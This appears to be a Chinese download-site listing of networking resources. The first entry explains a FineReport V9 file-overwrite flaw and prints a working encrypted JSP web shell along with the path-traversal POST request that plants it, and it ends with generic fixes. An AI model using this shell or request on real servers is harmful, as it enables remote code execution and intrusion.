### 帆软V9getshell1:任意文件覆盖与JSP Web Shell植入详解 #### 一、背景介绍 帆软软件有限公司(FineSoft)是中国领先的企业级报表工具及商业智能解决方案提供商,其核心产品之一为FineReport报表设计工具。在2023年某次安全研究中发现了一个严重安全漏洞——任意文件覆盖(Arbitrary File Overwrite),该漏洞允许攻击者通过特定的操作路径上传恶意JSP脚本到目标服务器上,进而获得服务器权限。这一漏洞被命名为“帆软V9getshell1”。 #### 二、漏洞原理 ##### 2.1 任意文件覆盖机制 任意文件覆盖是指攻击者能够替换或修改服务器上的现有文件。在帆软报表系统的实现中,存在一处逻辑缺陷使得攻击者可以利用该功能来覆盖特定的JSP文件。 ##### 2.2 JSP马的上传与执行 1. **文件路径构造**:攻击者通过精心构造请求中的`filePath`参数,指向一个合法的JSP文件路径。例如,攻击者可以通过设置`filePath`为`../../../../WebReport/update.jsp`,将恶意代码写入到`WebReport`目录下的`update.jsp`文件中。 2. **恶意JSP代码**:攻击者准备了如下恶意JSP代码: ```jsp <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <% class U extends ClassLoader{ U(ClassLoader c){ super(c); } public Class g(byte []b){ return super.defineClass(b,0,b.length); } } if(request.getParameter("pass")!=null) { String k=(""+UUID.randomUUID()).replace("-", "").substring(16); session.putValue("u",k); out.print(k); return; } Cipher c=Cipher.getInstance("AES"); c.init(2,new SecretKeySpec((session.getValue("u")+ "").getBytes(),"AES")); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); %> ``` 该代码实现了以下功能: - 通过`request.getParameter("pass")`判断是否接收到触发命令。 - 使用AES加密算法对会话中的密钥进行初始化,并解码用户发送的数据。 - 动态加载并执行解密后的类文件,实现远程代码执行。 3. **HTTP请求示例**:攻击者通过发送如下POST请求将恶意代码写入指定位置: ``` POST /WebReport/ReportServer? op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp HTTP/1.1 Host: 192.168.169.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36 Connection: close Accept-Au: 0c42b2f264071be0507acea1876c74 Content-Type: text/xml;charset=UTF-8 Content-Length: 675 {"__CONTENT__":"<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%>......","__CHARSET__":"UTF-8"} ``` 4. **利用Tomcat自带的JSP文件**:由于帆软报表系统通常部署在Apache Tomcat服务器上,攻击者可以利用Tomcat默认存在的JSP文件(例如`/tomcat-7.0.96/webapps/ROOT/index.jsp`)作为切入点,通过覆盖这些文件来植入恶意代码。 #### 三、修复建议 1. **升级补丁**:及时安装官方发布的最新版本或安全补丁,以修复已知的安全问题。 2. **限制文件路径**:对用户提交的文件路径进行严格的验证和过滤,避免攻击者通过构造恶意路径覆盖敏感文件。 3. **加强认证与授权**:对关键操作增加二次验证机制,限制非授权用户的访问权限,确保只有经过身份验证的用户才能执行敏感操作。 4. **审计日志记录**:开启并维护详细的审计日志,以便在发生异常情况时进行追踪和分析。 #### 四、总结 帆软V9getshell1这一漏洞揭示了在开发过程中忽视输入验证和权限控制所带来的潜在风险。企业应高度重视此类安全问题,并采取有效措施降低被攻击的风险。同时,用户也应增强安全意识,避免在不安全的网络环境中使用重要系统和服务。
2025-08-24 00:18:39 285KB java 网络协议 windows chrome
1
网络调试助手是一款集合了TCP与UDP服务客户端的调试工具,绿色软件,无所安装,这是Windows平台下开发的产品,非常适用,可以设定TCPserver TCP client.针对网络应用开发及调试工作,并且GPRS远程站点可以进行单独的数据监测,简化开发复杂度,提高开发速度,网络应用的数据收发状况,支持HEX多种数据格式解析,各版本Windows操作系统都适用,是网络数据监控必备的专业软件之一,而且不用微软dotNet框架的支持。
2025-08-23 16:54:41 486KB 网络 网络 网络协议
1
标题 "Delphi 海康视频录像和播放" 涉及到的是使用 Delphi7 这一编程环境,与海康威视(Hikvision)的监控设备进行交互,实现视频录像的获取和播放功能。海康威视是全球领先的安防产品及解决方案提供商,其产品广泛应用于各种场景,包括摄像头和车牌识别系统。以下将详细阐述这个主题所涵盖的关键知识点: 1. **TCP/IP 网络协议**:TCP/IP 协议族是互联网的基础,用于在不同网络间传输数据。在 Delphi 中,可以使用 Indy 或 Winsock 组件来实现 TCP/IP 连接。通过 TCP 协议,程序能够建立稳定的、双向的数据传输通道,以获取或发送摄像头的视频流。 2. **网络编程**:在 Delphi 中进行网络编程,需要理解如何创建客户端和服务器端应用,以连接到海康设备。这通常涉及设置 IP 地址、端口号以及建立连接,然后通过特定的命令和协议与设备通信,如发送请求获取录像或者控制摄像头。 3. **Delphi7**:Delphi 是一种基于 Object Pascal 的集成开发环境(IDE),以其高效的编译器和丰富的组件库著称。在 Delphi7 中,开发者可以使用可视化设计工具构建用户界面,并编写代码来处理后台逻辑,实现与海康设备的通信。 4. **海康设备API**:海康威视提供了一套 API 接口,允许开发者通过编程方式控制其设备,如设置IP和密码,获取视频流等。在 Delphi 应用中,你需要了解这些 API 的接口定义,以及如何在 Delphi 代码中调用它们。 5. **车牌识别**:海康的摄像头可能集成了车牌识别功能,这涉及到图像处理和机器学习技术。在 Delphi 应用中,可能需要对接这一功能,获取和处理车牌识别的结果。 6. **录像回放**:录制的视频文件需要通过特定的格式和协议进行播放,如 MJPEG、H.264 等。在 Delphi 应用中,可能需要使用解码库或组件来解析和播放这些录像文件。 7. **文件处理**:海康录像回放可能涉及读取和处理录像文件,这需要理解文件系统操作和特定视频格式的处理方法。 8. **安全性**:由于涉及到网络通信和敏感的设备访问,安全措施如加密通信、验证身份等也是必不可少的。开发者需要确保代码的安全性,防止未经授权的访问。 通过上述知识点,我们可以构建一个 Delphi7 应用,实现与海康设备的连接,获取实时视频流,播放录像,以及进行必要的设备配置。文件名称 "海康录像回放" 提示了这个项目的核心功能,即处理和播放海康设备的录像文件。在实际开发过程中,开发者需要结合具体的 API 文档和示例代码,逐步实现上述功能。
2025-08-19 17:26:58 6.43MB tcp/ip 网络协议 网络 delphi
1
波特率、从站扫描工具和串口报文调试是工业通信领域中常见的技术概念,它们在实现设备间的数据交换过程中扮演着重要的角色。波特率指的是数据传输速率,即每秒传输的二进制位数(bps),是衡量通信系统传输速度的重要指标。在串口通信中,波特率的选择直接影响到数据传输的效率和稳定性,常见的波特率有9600bps、19200bps、38400bps等。 从站扫描工具是指用于诊断和监控串行通信网络中的从站设备状态的工具。在Modbus等工业通信协议中,从站是指连接在网络中等待主站进行查询或控制的设备。从站扫描工具可以用来检测网络中所有从站的存在和响应状态,对于维护和调试工业通信网络至关重要。 串口报文调试是指对通过串口进行通信的数据包进行调试的过程,主要目的是确保数据能够在设备间准确无误地传输。串口报文通常包括地址、功能码、数据和校验等部分,串口报文调试工具可以帮助开发者或维护人员发送特定的报文,监控报文的传输过程,并对传输过程中的错误进行诊断和修正。 支持RTU和TCP两种模式指的是该工具不仅可以处理基于串行通信的远程终端单元(Remote Terminal Unit,RTU)模式数据,也可以处理基于TCP/IP网络的通信数据。RTU模式是Modbus协议中用于串行通信的一种模式,而TCP模式则是用于以太网环境的通信方式。在不同网络环境下,用户可以根据需要选择合适的通信模式进行数据传输和设备控制。 在网络协议方面,Modbus协议是一种广泛应用于工业领域的通信协议,它的设计旨在支持多设备的网络通信。Modbus协议简单、开放,易于实现,而且免费,因此它成为了工业自动化领域最流行的协议之一。Modbus协议分为Modbus RTU、Modbus ASCII、Modbus TCP等多种版本,分别适用于不同的通信环境和需求。 软件/插件标签则意味着这些工具可能是独立的软件程序,也可能是其他软件或开发环境中可以嵌入使用的插件形式。这些工具的使用可以大大简化通信网络的搭建和维护工作,提高开发和调试的效率。 波特率、从站扫描工具和串口报文调试对于确保工业通信网络的稳定性和数据传输的准确性具有非常关键的作用。而支持RTU和TCP模式的Modbus工具,更是工业自动化领域内不可或缺的技术手段。开发者和维护人员通过这些工具可以更好地管理和监控工业通信网络,确保整个系统的高效运行。
2025-08-09 09:17:10 2.05MB 网络协议
1
UDP报头只有4个字段,分别是:源端口号、目的端口号、报文长度和报头checksum,其中的报头checksum这个字段在IPv4中并不是强制的,但在IPv6中是强制的,本文介绍UDP报头中checksum的计算方法,并给出相应的源程序,实际上,网络通信中常用的IP报头、TCP报头和UDP报头中都有checksum,其计算方法基本一样,所以把这些检查和一般统称为Internet Checksum;本文对网络编程的初学者难度不大。 UDP(User Datagram Protocol)是一种无连接的传输层协议,它提供了简单、快速的数据发送服务,但不保证数据的可靠传输。UDP报头包含了四个字段,它们分别是: 1. **源端口号**:发送数据的主机的端口号码,用于标识发送数据的应用进程。 2. **目的端口号**:接收数据的主机的端口号码,同样用于标识接收数据的应用进程。 3. **报文长度**:整个UDP数据报(包括报头和数据部分)的长度,以字节为单位。 4. **报头checksum**:也称为校验和,用于检测数据在传输过程中的错误。在IPv4中,这个字段是可选的,而在IPv6中是强制要求的。 **UDP报头checksum的计算**遵循一定的规则,主要参考RFC 768和RFC 1071的定义。计算过程包括以下几个步骤: 1. **构建伪报头**:在计算UDP报头的checksum之前,需要添加一个伪报头,包含源IP地址、目的IP地址、协议类型(UDP的协议号是17)以及UDP数据报的总长度。 2. **填充0**:在UDP报头的checksum字段填充0。 3. **对齐数据**:确保(伪报头+UDP报头+DATA)的总长度是16位字的整数倍。如果不足,可以在数据末尾填充0。 4. **进行累加**:将伪报头、UDP报头和数据看作16位字,逐个相加。如果有溢出,结果加1,直到所有字都加完。 5. **求反操作**:对累加结果进行反码求和,得到的值即为checksum。在实际应用中,原码求和后取反与反码求和的结果相同,但反码求和的计算量更大,通常不采用。 以下是一个简化的示例代码片段,展示了如何计算UDP报头的checksum: ```c // 假设已经有了伪报头伪头、UDP报头和数据 uint16_t checksum1(uint16_t *buf, int len) { uint32_t sum = 0; for (int i = 0; i < len / 2; i++) { sum += buf[i]; if (sum > 0xFFFF) { sum = (sum & 0xFFFF) + (sum >> 16); } } return ~((sum & 0xFFFF) + (sum >> 16)); } // 反码求和版本 uint16_t checksum2(uint16_t *buf, int len) { uint16_t inverted_sum = 0; for (int i = 0; i < len / 2; i++) { inverted_sum += ~buf[i]; if (inverted_sum > 0xFFFF) { inverted_sum = (inverted_sum & 0xFFFF) + (inverted_sum >> 16); } } return ~inverted_sum; } ``` 在IPv4中,虽然UDP的checksum不是强制的,但为了提高数据的可靠性,通常还是建议计算并使用checksum。在IPv6中,由于更加重视安全性,checksum的使用是强制的。网络编程初学者理解这一过程有助于深入理解网络通信的底层机制,以及如何确保数据在传输过程中的完整性。
2025-08-08 15:59:29 401KB 网络协议 UDP 网络编程 checksum
1
【实例简介】 C#实现Http post方式 服务端+客户端源码,修改成你的ip端口,直接运行可用 【核心代码】 //提供一个简单的、可通过编程方式控制的 HTTP 协议侦听器。此类不能被继承。 httpobj = new HttpListener(); //定义url及端口号,通常设置为配置文件 httpobj.Prefixes.Add("http:// :886/"); //启动监听器 httpobj.Start(); //异步监听客户端请求,当客户端的网络请求到来时会自动执行Result委托 //该委托没有返回值,有一个IAsyncResult接口的参数,可通过该参数获取context对象
2025-08-08 13:14:27 521KB 网络协议 服务端+客户端 post
1
https://assetstore.unity.com/packages/tools/network/best-http-267636 Best HTTP is an asset designed to simplify complex, resource hungry requests. It boosts project efficiency, guarantees secure communication, and seamlessly integrates with Unity's ecosystem. Best HTTP 是一种旨在简化复杂、资源密集型请求的资产。它提高了项目效率,保证了安全的通信,并与 Unity 的生态系统无缝集成。 测试用,请支持正版
2025-08-06 10:44:12 2.52MB unity 网络协议
1
qt+modbus-tcp
2025-07-24 08:52:29 9.16MB 网络协议
1
2、利用FPGA的FIR滤波器IP核设计滤波器。 我们的低通滤波器使用的是cycloneⅡ代的FPGA,只能使用quartus13.0。 打开Quartus13.0,新建工程,后找到IP Catalog里面的FIR II,之后双击即可进入IP核设置页面并填写ip的名称.2、利用FPGA的FIR滤波器IP核设计滤波器。 我们的低通滤波器使用的是cycloneⅡ代的FPGA,只能使用quartus13.0。 打开Quartus13.0,新建工程,后找到IP Catalog里面的FIR II,之后双击即可进入IP核设置页面并填写ip的名称.
2025-07-22 14:59:32 5.99MB 网络协议
1
标题中的“10g-udp”指的是10 Gigabit Ethernet上的UDP(User Datagram Protocol)协议。UDP是传输层的一种无连接、不可靠的协议,它主要用于需要高速传输但对数据完整性要求不高的应用,比如流媒体和在线游戏。在10Gbps的速率下,UDP能实现极快的数据传输。 描述中提到的“完成仿真和上板验证”,这是指在设计过程中,首先通过软件仿真来测试和验证代码功能是否正确,然后再将代码部署到实际硬件——开发板上进行实地测试。这种方法确保了设计在真实环境中的可行性,降低了出错概率。 标签“网络协议”表明我们关注的是通信的规则和标准,即如何在不同的设备之间高效、准确地交换信息。在这个场景中,重点是UDP协议在10G以太网环境下的应用。 “编程语言”提示我们,实现这个功能可能使用了一种或多种编程语言。Verilog是一种硬件描述语言,常用于设计数字电子系统,包括网络协议处理器和接口控制器等。在本例中,Verilog可能被用来编写实现10G UDP协议的逻辑。 “软件/插件”可能是指在开发和验证过程中使用的辅助工具,如仿真器、综合器、适配器等。这些工具可以帮助工程师在设计阶段模拟硬件行为,生成能在FPGA(Field-Programmable Gate Array)或ASIC(Application-Specific Integrated Circuit)上运行的代码,以及在实际硬件上调试和测试。 在压缩包内的“mac_10g_udp”可能是一个包含以下部分的文件集合: 1. MAC(Media Access Control)层代码:MAC层是数据链路层的一部分,负责控制网络设备之间的物理连接和数据帧的传输。在10G以太网中,MAC层处理与速度、流量控制和错误检测相关的任务。 2. UDP协议处理代码:这部分代码实现了UDP的发送和接收功能,包括组装和拆解UDP报文,计算校验和等。 3. 仿真脚本:可能包含了使用某种仿真器(如ModelSim或VCS)进行功能和性能验证的脚本。 4. 开发板配置和驱动程序:为了在开发板上运行代码,可能需要特定的配置文件和驱动程序,以便正确设置网络接口和处理芯片。 5. 测试用例和验证环境:为确保UDP协议的正确实现,通常会创建一系列测试用例来模拟不同场景下的数据传输,并验证其结果。 这个项目涉及到使用Verilog实现10G以太网上的UDP协议,通过软件仿真和硬件验证确保其功能正确,并且可能使用了一些开发和测试工具。整个过程涵盖了网络协议设计、硬件描述语言编程、软件工具应用等多个IT领域的知识。
2025-07-21 17:59:54 329.86MB 网络协议 编程语言
1